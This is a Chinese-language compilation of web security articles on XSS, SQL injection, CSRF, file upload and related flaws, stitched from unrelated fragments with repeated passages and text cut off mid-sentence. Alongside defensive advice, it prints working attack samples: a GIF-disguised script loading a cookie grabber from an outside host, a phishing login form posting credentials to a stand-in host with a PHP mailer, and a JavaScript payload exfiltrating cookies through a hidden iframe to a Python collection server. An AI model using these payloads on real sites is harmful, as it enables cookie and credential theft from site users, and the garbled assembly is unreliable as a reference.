only的cookie。3、客户端分层防御策略。客户端跨站脚本攻击的分层防御策略是基于独立分配线程和分层防御策略的安全模型。它建立在客户端，这是它与其他模型最大的区别。之所以客户端安全性如此重要，客户端在接受服务器信息，选择性的执行相关内容。这样就可以使防御XSS攻击变得容易，该模型主要由三大部分组成：①对每一个网页分配独立线程且分析资源消耗的网页线程分析模块;②包含分层防御策略四个规则的用户输入分析模块;③保存互联网上有关XSS恶意网站信息的XSS信息数据库。

一、SQL注入漏洞 SQL 注入攻击（ SQL Injection ），简称注入攻击、SQL注入，被广泛用于非法获取网站控制权，是发生在应用程序的数据库层上的安全漏洞。在设计程序，忽略了对输入字符串中夹带的SQL指令的检查，被数据库误认为是正常的SQL指令而运行，从而使数据库受到攻击，可能导致数据被窃取、更改、删除，以及进一步导致网站被嵌入恶意代码、被植入后门程序等危害。 通常情况下， SQL 注入的位置包括： （1）表单提交，主要是POST 请求，也包括GET 请求； （2）URL 参数提交，主要为GET 请求参数； （3）Cookie 参数提交； （4）HTTP 请求头部的一些可修改的值，比如Referer 、User_Agent 等； （5）一些边缘的输入点，比如.mp3 文件的一些文件信息等。 SQL注入的危害不仅体现在数据库层面上， 还有可能危及承载数据库的操作系统；如果SQL 注入被用来挂马，还可能用来传播恶意软件等，这些危害包括但不局限于： （1）数据库信息泄漏：数据库中存放的用户的隐私信息的泄露。作为数据的存储中心，数据库里往往保存着各类的隐私信息， SQL 注入攻击能导致这些隐私信息透明于攻击者。 （2）网页篡改：通过操作数据库对特定网页进行篡改。 （3）网站被挂马，传播恶意软件：修改数据库一些字段的值，嵌入网马链接，进行挂马攻击。 （4）数据库被恶意操作：数据库服务器被攻击，数据库的系统管理员帐户被篡改。 （5）服务器被远程控制，被安装后门。经由数据库服务器提供的操作系统支持，让黑客得以修改或控制操作系统。 （6）破坏硬盘数据，瘫痪全系统。 二、跨站脚本漏洞 跨站脚本攻击（Cross-site scripting，通常简称为XSS）发生在客户端，可被用于进行窃取隐私、钓鱼欺骗、窃取密码、传播恶意代码等攻击。 XSS攻击使用到的技术主要为HTML和Javascript，也包括VBScript和ActionScript等。XSS攻击对WEB服务器虽无直接危害，但是它借助网站进行传播，使网站的使用用户受到攻击，导致网站用户帐号被窃取，从而对网站也产生了较严重的危害。 XSS类型包括： （1）非持久型跨站：即反射型跨站脚本漏洞，是目前最普遍的跨站类型。跨站代码一般存在于链接中，请求这样的链接时，跨站代码经过服务端反射回来，这类跨站的代码不存储到服务端（比如数据库中）。上面章节所举的例子就是这类情况。 （2）持久型跨站：这是危害最直接的跨站类型，跨站代码存储于服务端（比如数据库中）。常见情况是某用户在论坛发贴，如果论坛没有过滤用户输入的Javascript代码数据，就会导致其他浏览此贴的用户的浏览器会执行发贴人所嵌入的Javascript代码。 （3）DOM跨站（DOM XSS）：是一种发生在客户端DOM（Document Object Model文档对象模型）中的跨站漏洞，很大原因是因为客户端脚本处理逻辑导致的安全问题。 三、弱口令漏洞 弱口令(weak password) 没有严格和准确的定义，通常认为容易被别人（他们有可能对你很了解）猜测到或被破解工具破解的口令均为弱口令。设置密码通常遵循以下原则： （1）不使用空口令或系统缺省的口令，这些口令众所周知，为典型的弱口令。 （2）口令长度不小于8个字符。 （3）口令不应该为连续的某个字符（例如：AAAAAAAA）或重复某些字符的组合（例如：tzf.tzf.）。 （4）口令应该为以下四类字符的组合，大写字母(A-Z)、小写字母(a-z)、数字(0-9)和特殊字符。每类字符至少包含一个。如果某类字符只包含一个，那么该字符不应为首字符或尾字符。 （5）口令中不应包含本人、父母、子女和配偶的姓名和出生日期、纪念日期、登录名、E-mail地址等等与本人有关的信息，以及字典中的单词。 （6）口令不应该为用数字或符号代替某些字母的单词。 （7）口令应该易记且可以快速输入，防止他人从你身后很容易看到你的输入。 （8）至少90天内更换一次口令，防止未被发现的入侵者继续使用该口令。 四、HTTP报头追踪漏洞 HTTP/1.1（RFC2616）规范定义了HTTP TRACE方法，主要是用于客户端通过向Web服务器提交TRACE请求来进行测试或获得诊断信息。当Web服务器启用TRACE时，提交的请求头会在服务器响应的内容（Body）中完整的返回，其中HTTP头很可能包括Session Token、Cookies或其它认证信息。 攻击者可以利用此漏洞来欺骗合法用户并得到他们的私人信息。该漏洞往往与其它方式配合来进行有效攻击，由于HTTP TRACE请求可以通过客户浏览器脚本发起（如XMLHttpRequest），并可以通过DOM接口来访问，因此很容易被攻击者利用。 五、Struts2远程命令执行漏洞 ApacheStruts是一款建立Java web应用程序的开放源代码架构。Apache Struts存在一个输入过滤错误，如果遇到转换错误可被利用注入和执行任意Java代码。 网站存在远程代码执行漏洞的大部分原因是由于网站采用了Apache Struts Xwork作为网站应用框架，由于该软件存在远程代码执高危漏洞，导致网站面临安全风险。 六、文件上传漏洞 文件上传漏洞通常由于网页代码中的文件上传路径变量过滤不严造成的，如果文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型，攻击者可通过Web访问的目录上传任意文件，包括网站后门文件（ webshell ），进而远程控制网站服务器。因此，在开发网站及应用程序过程中，需严格限制和校验上传的文件，禁止上传恶意代码的文件。同时限制相关目录的执行权限，防范webshell攻击。 七、私有IP地址泄露漏洞 IP地址是网络用户的重要标示，是攻击者进行攻击前需要了解的。获取的方法较多，攻击者也会因不同的网络情况采取不同的方法，如：在局域网内使用Ping指令， Ping对方在网络中的名称而获得IP；在Internet上使用IP版的QQ直接显示。最有效的办法是截获并分析对方的网络数据包。攻击者可以找到并直接通过软件解析截获后的数据包的IP 包头信息，再根据这些信息了解具体的IP。 针对最有效的“数据包分析方法”而言，就可以安装能够自动去掉发送数据包包头IP信息的一些软件。不过使用这些软件有些缺点， 譬如：耗费资源严重，降低计算机性能；访问一些论坛或者网站时会受影响；不适合网吧用户使用等等。 现在的个人用户采用最普及隐藏IP 的方法应该是使用代理，由于使用代理服务器后，“转址服务”会对发送出去的数据包有所修改，致使“数据包分析”的方法失效。一些容易泄漏用户IP 的网络软件(QQ 、MSN 、IE 等)都支持使用代理方式连接Internet ，特别是QQ 使用“ ezProxy ”等代理软件连接后， IP版的QQ都无法显示该IP地址。虽然代理可以有效地隐藏用户IP，但攻击者亦可以绕过代理， 查找到对方的真实IP地址，用户在何种情况下使用何种方法隐藏IP，也要因情况而论。 八、未加密登录请求 由于Web 配置不安全， 登陆请求把诸如用户名和密码等敏感字段未加密进行传输，攻击者可以窃听网络以劫获这些敏感信息。 九、敏感信息泄露漏洞 SQL 注入、XSS、目录遍历、弱口令等均可导致敏感信息泄露，攻击者可以通过漏洞获得敏感信息。 Web应用漏洞原理 Web应用攻击是攻击者通过浏览器或攻击工具，在URL或者其它输入区域（如表单等），向Web服务器发送特殊请求，从中发现Web应用程序存在的漏洞，从而进一步操纵和控制网站，查看、修改未授权的信息。

要复现这个漏洞，你需要知道站点的漏洞出现在哪个输入字段中。一旦你找到了这个输入字段，你可以试图在输入框中输入一些恶意代码，例如在输入框中输入以下代码：``（请记住，这段代码仅用于演示目的，不应用于领域）。如果你成功地在输入框中输入了恶意代码，并且在提交表单后，你看到一个弹出窗口显示 "Hacked!"，那么恭喜你成功地复现了这个跨站脚本漏洞。

在你的WEB浏览器上禁用java脚本，具体方法，先打开你的IE的internet选项，切换到“安全”页，有个“自定义”级别，点他出现如下窗口，禁用就可以了。但是好象不太可能，因为一旦禁用，很多功能就丧失了，这个方法是下策。还有不要访问包含〈〉字符的连接，当然一些官方的URL不会包括任何脚本元素。如果你的站点程序含论坛，留言板，以及其他程序中含提交数据格式的，没有很好过滤机制，请马上下载升级程序或是停止使用ubb这样的功能，避免造成更多的问题。跨站脚本执行漏洞的成因，形式，危害，利用方式，隐藏技巧 这里所说的形式，实际上是指CGI输入的形式，主要分为两种：1．显示输入2．隐式输入其中显示输入明确要求用户输入数据，而隐式输入则本来并不要求用户输入数据，但是用户却可以通过输入数据来进行干涉。显示输入又可以分为两种：1． 输入完成立刻输出结果2． 输入完成先存储在文本文件或数据库中，然后再输出结果注意：后者可能会让你的网站面目全非！而隐式输入除了一些正常的情况外，还可以利用服务器或CGI程序处理错误信息的方式来实施。 大家最关心的大概就要算这个问题了，下面列举的可能并不全面，也不系统，但是我想应该是比较典型的吧。1． 获取其他用户Cookie中的敏感数据2． 屏蔽页面特定信息3． 伪造页面信息4．拒绝服务攻击5． 突破外网内网不同安全设置6． 与其它漏洞结合，修改系统设置，查看系统文件，执行系统命令等7． 其它一般来说，上面的危害还经常伴随着页面变形的情况。而所谓跨站脚本执行漏洞，也就是通过别人的网站达到攻击的效果，也就是说，这种攻击能在一定程度上隐藏身份。 出于时间的考虑，我在这里将主要讲一下理论了，相信不是很难懂，如果实在有问题，那么去找本书看吧。1． URL编码比较一下：http://www.5460.net/txl/login/login.pl?username= &passwd=&ok.x=28&ok.y=6http://www.5460.net/txl/login/login.pl?username=%3C%68%31%3E&passwd=&ok.x=28&ok.y=6你觉得哪个更有隐蔽性？！2． 隐藏在其它对象之下与直接给别人一个链接相比，你是否决定把该链接隐藏在按钮以下更好些呢？3． 嵌入页面中让别人访问一个地址（注意这里的地址不同于上面提到的URL），是不是又要比让别人按一个按钮容易得多，借助于Iframe，你可以把这种攻击变得更隐蔽。4． 合理利用事件合理使用事件，在某些情况上可以绕过CGI程序对输入的限制，比如说前些日子的SecurityFocus的跨站脚本执行漏洞。 一般情况下直接进行类似alert(document.cookie)之类的攻击没有什么问题，但是有时 CGI程序对用户的输入进行了一些处理，比如说包含在""或””之内，这时我们就需要使用一些小技巧来绕过这些限制。如果你对HTML语言比较熟悉的话，绕过这些限制应该不成问题。 要避免受到跨站脚本执行漏洞的攻击，需要程序员和用户两方面共同努力：程序员：1． 过滤或转换用户提交数据中的HTML代码2． 限制用户提交数据的长度用户：1． 不要轻易访问别人给你的链接2． 禁止浏览器运行JavaScript和ActiveX代码附：常见浏览器修改设置的位置为：Internet Explorer：工具->Internet选项->安全->Internet->自定义级别工具->Internet选项->安全->Intranet->自定义级别Opera：>文件->快速参数->允许使用Java文件->快速参数->允许使用插件文件->快速参数->允许使用JavaScript Q：跨站脚本执行漏洞在哪里存在？A：只要是CGI程序，只要允许用户输入，就可能存在跨站脚本执行漏洞。Q：跨站脚本执行漏洞是不是只能偷别人的Cookie？A：当然不是！HTML代码能做的，跨站脚本执行漏洞基本都能做。解决 ubuntu server 的跨站攻击apache 默认开启了TRACE功能(TraceEnable=on)，Ubuntu Server也不例外。用x-scan扫描发现此功能存在存在跨站攻击漏洞，并且提出了解决办法，在配置文件中添加如下语句：RewriteEngine onRewriteCond % ^(TRACE|TRACK)RewriteRule .* - [F]问题是不知道该放那里，找一天都没发现。尝试在/etc/apache2/httpd.conf里添加，怎么都没反应。网上一般就是打开虚拟机的 AllowOverride，然后在.htaccess文件中添加。但整个配置文件都可以修改，没理由要这样做......奇迹就发生在重启的瞬间，竟然连不上服务器。跑到实验室发现，重启正常，无奈之下竟发现还有一个sites-available的目录，里面的default文件才是所谓的配置文件，汗死...添加后可通过 telnet 127.0.0.1 80 确认是否修复该漏洞，输入：TRACE / HTTP/1.1Host: 202.192.33.250X-Header: test回车后返回：HTTP/1.1 403 ForbiddenDate: Sun, 08 Oct 2006 11:32:11 GMTServer: Apache/2.0.55 (Ubuntu) PHP/5.1.2（注：windows的telnet默认没有打开输入回显） 举个例子,我们来新建一个hack.gif文件.然后用记事本打开文件,删除所有的内容,然后写入代码GIF89a<script>alert(XSS)</script>保存退出.上传hack.gif到相就的地方...此时跨站发生不要用Mozillia Firefox来访问那张图片,Mozillia 不会执行我们的alert.要用Internet explorer.为什么添加GIF89a ?因为很多上传程序会来检查我们的gif文件是否包含 "GIF89a",如果包括则认为是gif文件.code:GIF89a<script src=http://lovelaozang.cn/cookiegrabber.php></script>我们需要知道一些其它格式图片,头部所包含的代码.PNG = ‰PNGGIF = GIF89aJPG = ???à JFIFBMP = BMF?为了安全不要仅仅只检查getimagesize() 你是否明白什么是钓鱼？什么是XSS？在这个例子里，有必需找到一个易受攻击的网站去XSS并注入那里，身于一种形式，以自己直接在网址以下代码code:<p>Enter your login and password, thank:</p><form action=http://hax0r.com/mail.php><table><tr><td>Login:</td><td><input type=text length=20 name=login></td></tr><tr><td>Password:</td><td><input type=text length=20 name=password></td></tr></table><input type=submit value= OK ></form>这个通过这个模仿的表单，然后利用mail.php通过电子邮件把表单里的数据发送给你。code:<!DOCTYPE html PUBLIC -//W3C//DTD XHTML 1.0 Transitional//EN http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd><html xmlns=http://www.w3.org/1999/xhtml><head><meta http-equiv=Content-Type content=text/html; charset=iso-8859-1 /><title>Error</title><style type=text/css><!--body,td,th {color: #FFFFFF;}body {background-color: #000000;}--></style></head><?php$login = $HTTP_GET_VARS[login];$password = $HTTP_GET_VARS[password];mail(email@example.com, Cookie stealed ! - thx xyli :), $password , $login );?><body><h2><strong>Error</strong> -<strong> Server too much busy</strong></h2></body></html>

跨站脚本攻击（Cross Site Scripting）是指攻击者利用网站程序对用户输入过滤不足，输入可以显示在页面上对其他用户造成影响的HTML代码，从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。为了与层叠样式表...

一.跨站脚本攻击(XSS)跨站脚本攻击（XSS，Cross-site scripting）是最常见和基本的攻击WEB网站的方法。攻击者在网页上发布包含攻击性代码的数据。当浏览者看到此网页时，特定的脚本就会以浏览者用 户的身份和权限来执行。通过XSS可以比较容易地修改用户数据、窃取用户信息，以及造成其它类型的攻击，例如CSRF攻击常见解决办法:确保输出到HTML页面的数据以HTML的方式被转义二. 跨站请求伪造攻击（CSRF)跨站请求伪造（CSRF，Cross-site request forgery）是另一种常见的攻击。攻击者通过各种方法伪造一个请求，模仿用户提交表单的行为，从而达到修改用户的数据，或者执行特定任务的目的。为了 假冒用户的身份，CSRF攻击常常和XSS攻击配合起来做，但也可以通过其它手段，例如诱使用户点击一个包含攻击的链接解决的思路有:1.采用POST请求,增加攻击的难度.用户点击一个链接就可以发起GET类型的请求。而POST请求相对比较难，攻击者往往需要借助javascript才能实现2.对请求进行认证，确保该请求确实是用户本人填写表单并提交的，而不是第三者伪造的.具体可以在会话中增加token,确保看到信息和提交信息的是同一个人三.Http Heads攻击凡是用浏览器查看任何WEB网站，无论你的WEB网站采用何种技术和框架，都用到了HTTP协议.HTTP协议在Response header和content之间，有一个空行，即两组CRLF（0x0D 0A）字符。这个空行标志着headers的结束和content的开始。“聪明”的攻击者可以利用这一点。只要攻击者有办法将任意字符“注入”到 headers中，这种攻击就可以发生四.Cookie攻击通过Java Script非常容易访问到当前网站的cookie。你可以打开任何网站，然后在浏览器地址栏中输 入：javascript:alert(doucment.cookie),立刻就可以看到当前站点的cookie（如果有的话）。攻击者可以利用这个特 性来取得你的关键信息。例如，和XSS攻击相配合，攻击者在你的浏览器上执行特定的Java Script脚本，取得你的cookie。假设这个网站仅依赖cookie来验证用户身份，那么攻击者就可以假冒你的身份来做一些事情。现在多数浏览器都支持在cookie上打上HttpOnly的标记,凡有这个标志的cookie就无法通过Java Script来取得,如果能在关键cookie上打上这个标记，就会大大增强cookie的安全性五.重定向攻击一种常用的攻击手段是“钓鱼”。钓鱼攻击者，通常会发送给受害者一个合法链接，当链接被点击时，用户被导向一个似是而非的非法网站，从而达到骗取用户信 任、窃取用户资料的目的。为防止这种行为,我们必须对所有的重定向操作进行审核,以避免重定向到一个危险的地方.常见解决方案是白名单,将合法的要重定向 的url加到白名单中,非白名单上的域名重定向时拒之,第二种解决方案是重定向token,在合法的url上加上token,重定向时进行验证.六.上传文件攻击1.文件名攻击,上传的文件采用上传之前的文件名,可能造成:客户端和服务端字符码不兼容,导致文件名乱码问题;文件名包含脚本,从而造成攻击.2.文件后缀攻击.上传的文件的后缀可能是exe可执行程序,js脚本等文件,这些程序可能被执行于受害者的客户端,甚至可能执行于服务器上.因此我们必须过滤文件名后缀,排除那些不被许可的文件名后缀.3.文件内容攻击.IE6有一个很严重的问题 , 它不信任服务器所发送的content type，而是自动根据文件内容来识别文件的类型，并根据所识别的类型来显示或执行文件.如果上传一个gif文件,在文件末尾放一段js攻击脚本,就有可 能被执行.这种攻击,它的文件名和content type看起来都是合法的gif图片,然而其内容却包含脚本,这样的攻击无法用文件名过滤来排除，而是必须扫描其文件内容，才能识别。

【答案】：D不是任何利用脚本插入实现攻击的漏洞都被称为XSS，因为还有另一种攻击方式：Injection（脚本注入）。跨站脚本攻击和脚本注入攻击的区别在于脚本注入攻击会把插入的脚本保存在被修改的远程Web页面里，如：sql injection, XPath injection。但跨站脚本是临时的，执行后就消失了。

1、基于特征的防御。XSS漏洞和著名的SQL注入漏洞一样，都是利用了Web页面的编写不完善，所以每一个漏洞所利用和针对的弱点都不尽相同，这就是给XSS漏洞防御带来的困难，不可能以单一特征来概括所有XSS攻击。传统的XSS防御在进行攻击鉴别时多采用特征匹配方式，主要是针对JavaScript这个关键词进行检索，但是这种鉴别不够灵活，凡是提交的信息中各有JavaScript时，就被硬性的判定为XSS攻击。2、基于代码修改的防御。Web页面开发者在编写程序时往往会出现一些失误或漏洞，XSS攻击正是利用了失误和漏洞，因此一种比较理想的方法就是通过优化Web应用开发来减少漏洞，避免被攻击：①用户向服务器上提交的信息要对URL和附带的HTTP头、POST数据等进行查询，对不是规定格式、长度的内容进行过滤。②实现Session标记、CAPTCHA系统或者HTTP引用头检查，以防功能被第三方网站所执行。③确认接收的内容被妥善的规范化，仅包含最小的、安全的Tag，去掉任何对远程内容的引用，使用HTTP only的cookie。3、客户端分层防御策略。客户端跨站脚本攻击的分层防御策略是基于独立分配线程和分层防御策略的安全模型。它建立在客户端，这是它与其他模型最大的区别。之所以客户端安全性如此重要，客户端在接受服务器信息，选择性的执行相关内容。这样就可以使防御XSS攻击变得容易，该模型主要由三大部分组成：①对每一个网页分配独立线程且分析资源消耗的网页线程分析模块;②包含分层防御策略四个规则的用户输入分析模块;③保存互联网上有关XSS恶意网站信息的XSS信息数据库。

分类: 电脑/网络 >> 互联网 问题描述: 跨站是什么意思 解析: 们所说跨站脚本是指在远程WEB页面的代码中插入的具有恶意目的的数据，用户认为该 页面是可信赖的，但是当浏览器下载该页面，嵌入其中的脚本将被解释执行， 有时候跨站脚本被称为"XSS"，这是因为"CSS"一般被称为分层样式表，这很容易让人困惑，如果 你听某人提到CSS或者XSS安全漏洞，通常指得是跨站脚本。 XSS和脚本注射的区别？ 原文里作者是和他一个朋友(b0iler)讨论后，才明白并非任何可利用脚本插入实现攻击的 漏洞都被称为XSS，还有另一种攻击方式："Script Injection",他们的区别在以下两点： 1.(Script Injection)脚本插入攻击会把我们插入的脚本保存在被修改的远程WEB页面里,如 :sql injection,XPath injection. 2.跨站脚本是临时的，执行后就消失了 什么类型的脚本可以 *** 入远程页面？ 主流脚本包括以下几种： HTML JavaScript (本文讨论) VBScript ActiveX Flash

1、XSS攻击通常指的是通过利用网页开发时留下的漏洞，通过巧妙的方法注入恶意指令代码到网页，使用户加载并执行攻击者恶意制造的网页程序。 2、这些恶意网页程序通常是JavaScript，但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后，攻击者可能得到包括但不限于更高的权限（如执行一些操作）、私密网页内容、会话和cookie等各种内容。

在那个年代，大家一般用拼接字符串的方式来构造动态 SQL 语句创建应用，于是 SQL 注入成了很流行的攻击方式。在这个年代， 参数化查询 已经成了普遍用法，我们已经离 SQL 注入很远了。但是，历史同样悠久的 XSS 和 CSRF 却没有远离我们。由于之前已经对 XSS 很熟悉了，所以我对用户输入的数据一直非常小心。如果输入的时候没有经过 Tidy 之类的过滤，我一定会在模板输出时候全部转义。所以个人感觉，要避免 XSS 也是很容易的，重点是要“小心”。但最近又听说了另一种跨站攻击 CSRF ，于是找了些资料了解了一下，并与 XSS 放在一起做个比较。XSS：脚本中的不速之客XSS 全称“跨站脚本”，是注入攻击的一种。其特点是不对服务器端造成任何伤害，而是通过一些正常的站内交互途径，例如发布评论，提交含有 JavaScript 的内容文本。这时服务器端如果没有过滤或转义掉这些脚本，作为内容发布到了页面上，其他用户访问这个页面的时候就会运行这些脚本。运行预期之外的脚本带来的后果有很多中，可能只是简单的恶作剧——一个关不掉的窗口：123 while (true) { alert("你关不掉我~");}也可以是盗号或者其他未授权的操作——我们来模拟一下这个过程，先建立一个用来收集信息的服务器：123456789101112131415161718192021222324 #!/usr/bin/env python#-*- coding:utf-8 -*-"""跨站脚本注入的信息收集服务器"""import bottleapp = bottle.Bottle()plugin = bottle.ext.sqlite.Plugin(dbfile="/var/db/myxss.sqlite")app.install(plugin)@app.route("/myxss/")def show(cookies, db): SQL = "INSERT INTO "myxss" ("cookies") VALUES (?)" try: db.execute(SQL, cookies) except: pass return ""if __name__ == "__main__": app.run()然后在某一个页面的评论中注入这段代码：12345678910111213141516 // 用 <script type="text/javascript"></script> 包起来放在评论中(function(window, document) { // 构造泄露信息用的 URL var cookies = document.cookie; var xssURIBase = "http://192.168.123.123/myxss/"; var xssURI = xssURIBase + window.encodeURI(cookies); // 建立隐藏 iframe 用于通讯 var hideFrame = document.createElement("iframe"); hideFrame.height = 0; hideFrame.width = 0; hideFrame.style.display = "none"; hideFrame.src = xssURI; // 开工 document.body.appendChild(hideFrame);})(window, document);于是每个访问到含有该评论的页面的用户都会遇到麻烦——他们不知道背后正悄悄的发起了一个请求，是他们所看不到的。而这个请求，会把包含了他们的帐号和其他隐私的信息发送到收集服务器上。我们知道 AJAX 技术所使用的 XMLHttpRequest 对象都被浏览器做了限制，只能访问当前域名下的 URL，所谓不能“跨域”问题。这种做法的初衷也是防范 XSS，多多少少都起了一些作用，但不是总是有用，正如上面的注入代码，用 iframe 也一样可以达到相同的目的。甚至在愿意的情况下，我还能用 iframe 发起 POST 请求。当然，现在一些浏览器能够很智能地分析出部分 XSS 并予以拦截，例如新版的 Firefox、Chrome 都能这么做。但拦截不总是能成功，何况这个世界上还有大量根本不知道什么是浏览器的用户在用着可怕的 IE6。从原则上将，我们也不应该把事关安全性的责任推脱给浏览器，所以防止 XSS 的根本之道还是过滤用户输入。用户输入总是不可信任的，这点对于 Web 开发者应该是常识。正如上文所说，如果我们不需要用户输入 HTML 而只想让他们输入纯文本，那么把所有用户输入进行 HTML 转义输出是个不错的做法。似乎很多 Web 开发框架、模版引擎的开发者也发现了这一点，Django 内置模版和 Jinja2 模版总是默认转义输出变量的。如果没有使用它们，我们自己也可以这么做。PHP 可以用 htmlspecialchars 函数，Python 可以导入 cgi 模块用其中的 cgi.escape 函数。如果使用了某款模版引擎，那么其必自带了方便快捷的转义方式。真正麻烦的是，在一些场合我们要允许用户输入 HTML，又要过滤其中的脚本。Tidy 等 HTML 清理库可以帮忙，但前提是我们小心地使用。仅仅粗暴地去掉 script 标签是没有用的，任何一个合法 HTML 标签都可以添加 onclick 一类的事件属性来执行 JavaScript。对于复杂的情况，我个人更倾向于使用简单的方法处理，简单的方法就是白名单重新整理。用户输入的 HTML 可能拥有很复杂的结构，但我们并不将这些数据直接存入数据库，而是使用 HTML 解析库遍历节点，获取其中数据（之所以不使用 XML 解析库是因为 HTML 要求有较强的容错性）。然后根据用户原有的标签属性，重新构建 HTML 元素树。构建的过程中，所有的标签、属性都只从白名单中拿取。这样可以确保万无一失——如果用户的某种复杂输入不能为解析器所识别（前面说了 HTML 不同于 XML，要求有很强的容错性），那么它不会成为漏网之鱼，因为白名单重新整理的策略会直接丢弃掉这些未能识别的部分。最后获得的新 HTML 元素树，我们可以拍胸脯保证——所有的标签、属性都来自白名单，一定不会遗漏。现在看来，大多数 Web 开发者都了解 XSS 并知道如何防范，往往大型的 XSS 攻击（包括前段时间新浪微博的 XSS 注入）都是由于疏漏。我个人建议在使用模版引擎的 Web 项目中，开启（或不要关闭）类似 Django Template、Jinja2 中“默认转义”（Auto Escape）的功能。在不需要转义的场合，我们可以用类似 的方式取消转义。这种白名单式的做法，有助于降低我们由于疏漏留下 XSS 漏洞的风险。另外一个风险集中区域，是富 AJAX 类应用（例如豆瓣网的阿尔法城）。这类应用的风险并不集中在 HTTP 的静态响应内容，所以不是开启模版自动转义能就能一劳永逸的。再加上这类应用往往需要跨域，开发者不得不自己打开危险的大门。这种情况下，站点的安全非常 依赖开发者的细心和应用上线前有效的测试。现在亦有不少开源的 XSS 漏洞测试软件包（似乎有篇文章提到豆瓣网的开发也使用自动化 XSS 测试），但我都没试用过，故不予评价。不管怎么说，我认为从用户输入的地方把好关总是成本最低而又最有效的做法。CSRF：冒充用户之手起初我一直弄不清楚 CSRF 究竟和 XSS 有什么区别，后来才明白 CSRF 和 XSS 根本是两个不同维度上的分类。XSS 是实现 CSRF 的诸多途径中的一条，但绝对不是唯一的一条。一般习惯上把通过 XSS 来实现的 CSRF 称为 XSRF。CSRF 的全称是“跨站请求伪造”，而 XSS 的全称是“跨站脚本”。看起来有点相似，它们都是属于跨站攻击——不攻击服务器端而攻击正常访问网站的用户，但前面说了，它们的攻击类型是不同维度上的分 类。CSRF 顾名思义，是伪造请求，冒充用户在站内的正常操作。我们知道，绝大多数网站是通过 cookie 等方式辨识用户身份（包括使用服务器端 Session 的网站，因为 Session ID 也是大多保存在 cookie 里面的），再予以授权的。所以要伪造用户的正常操作，最好的方法是通过 XSS 或链接欺骗等途径，让用户在本机（即拥有身份 cookie 的浏览器端）发起用户所不知道的请求。严格意义上来说，CSRF 不能分类为注入攻击，因为 CSRF 的实现途径远远不止 XSS 注入这一条。通过 XSS 来实现 CSRF 易如反掌，但对于设计不佳的网站，一条正常的链接都能造成 CSRF。例如，一论坛网站的发贴是通过 GET 请求访问，点击发贴之后 JS 把发贴内容拼接成目标 URL 并访问：http://example.com/bbs/create_post.php?title=标题&content=内容那么，我只需要在论坛中发一帖，包含一链接：http://example.com/bbs/create_post.php?title=我是脑残&content=哈哈只要有用户点击了这个链接，那么他们的帐户就会在不知情的情况下发布了这一帖子。可能这只是个恶作剧，但是既然发贴的请求可以伪造，那么删帖、转帐、改密码、发邮件全都可以伪造。如何解决这个问题，我们是否可以效仿上文应对 XSS 的做法呢？过滤用户输入， 不允许发布这种含有站内操作 URL 的链接。这么做可能会有点用，但阻挡不了 CSRF，因为攻击者可以通过 QQ 或其他网站把这个链接发布上去，为了伪装可能还使用 bit.ly 压缩一下网址，这样点击到这个链接的用户还是一样会中招。所以对待 CSRF ，我们的视角需要和对待 XSS 有所区别。CSRF 并不一定要有站内的输入，因为它并不属于注入攻击，而是请求伪造。被伪造的请求可以是任何来源，而非一定是站内。所以我们唯有一条路可行，就是过滤请求的 处理者。比较头痛的是，因为请求可以从任何一方发起，而发起请求的方式多种多样，可以通过 iframe、ajax（这个不能跨域，得先 XSS）、Flash 内部发起请求（总是个大隐患）。由于几乎没有彻底杜绝 CSRF 的方式，我们一般的做法，是以各种方式提高攻击的门槛。首先可以提高的一个门槛，就是改良站内 API 的设计。对于发布帖子这一类创建资源的操作，应该只接受 POST 请求，而 GET 请求应该只浏览而不改变服务器端资源。当然，最理想的做法是使用 REST 风格 的 API 设计，GET、POST、PUT、DELETE 四种请求方法对应资源的读取、创建、修改、删除。现在的浏览器基本不支持在表单中使用 PUT 和 DELETE 请求方法，我们可以使用 ajax 提交请求（例如通过 jquery-form 插件，我最喜欢的做法），也可以使用隐藏域指定请求方法，然后用 POST 模拟 PUT 和 DELETE （Ruby on Rails 的做法）。这么一来，不同的资源操作区分的非常清楚，我们把问题域缩小到了非 GET 类型的请求上——攻击者已经不可能通过发布链接来伪造请求了，但他们仍可以发布表单，或者在其他站点上使用我们肉眼不可见的表单，在后台用 js 操作，伪造请求。接下来我们就可以用比较简单也比较有效的方法来防御 CSRF，这个方法就是“请求令牌”。读过《J2EE 核心模式》的同学应该对“同步令牌”应该不会陌生，“请求令牌”和“同步令牌”原理是一样的，只不过目的不同，后者是为了解决 POST 请求重复提交问题，前者是为了保证收到的请求一定来自预期的页面。实现方法非常简单，首先服务器端要以某种策略生成随机字符串，作为令牌（token）， 保存在 Session 里。然后在发出请求的页面，把该令牌以隐藏域一类的形式，与其他信息一并发出。在接收请求的页面，把接收到的信息中的令牌与 Session 中的令牌比较，只有一致的时候才处理请求，否则返回 HTTP 403 拒绝请求或者要求用户重新登陆验证身份。请求令牌虽然使用起来简单，但并非不可破解，使用不当会增加安全隐患。使用请求令牌来防止 CSRF 有以下几点要注意：虽然请求令牌原理和验证码有相似之处，但不应该像验证码一样，全局使用一个 Session Key。因为请求令牌的方法在理论上是可破解的，破解方式是解析来源页面的文本，获取令牌内容。如果全局使用一个 Session Key，那么危险系数会上升。原则上来说，每个页面的请求令牌都应该放在独立的 Session Key 中。我们在设计服务器端的时候，可以稍加封装，编写一个令牌工具包，将页面的标识作为 Session 中保存令牌的键。在 ajax 技术应用较多的场合，因为很有请求是 JavaScript 发起的，使用静态的模版输出令牌值或多或少有些不方便。但无论如何，请不要提供直接获取令牌值的 API。这么做无疑是锁上了大门，却又把钥匙放在门口，让我们的请求令牌退化为同步令牌。第一点说了请求令牌理论上是可破解的，所以非常重要的场合，应该考虑使用验证码（令牌的一种升级，目前来看破解难度极大），或者要求用户再次输入密码（亚马逊、淘宝的做法）。但这两种方式用户体验都不好，所以需要产品开发者权衡。无论是普通的请求令牌还是验证码，服务器端验证过一定记得销毁。忘记销毁用过的令牌是个很低级但是杀伤力很大的错误。我们学校的选课系统就有这个 问题，验证码用完并未销毁，故只要获取一次验证码图片，其中的验证码可以在多次请求中使用（只要不再次刷新验证码图片），一直用到 Session 超时。这也是为何选课系统加了验证码，外挂软件升级一次之后仍然畅通无阻。如下也列出一些据说能有效防范 CSRF，其实效果甚微的方式甚至无效的做法。通过 referer 判定来源页面：referer 是在 HTTP Request Head 里面的，也就是由请求的发送者决定的。如果我喜欢，可以给 referer 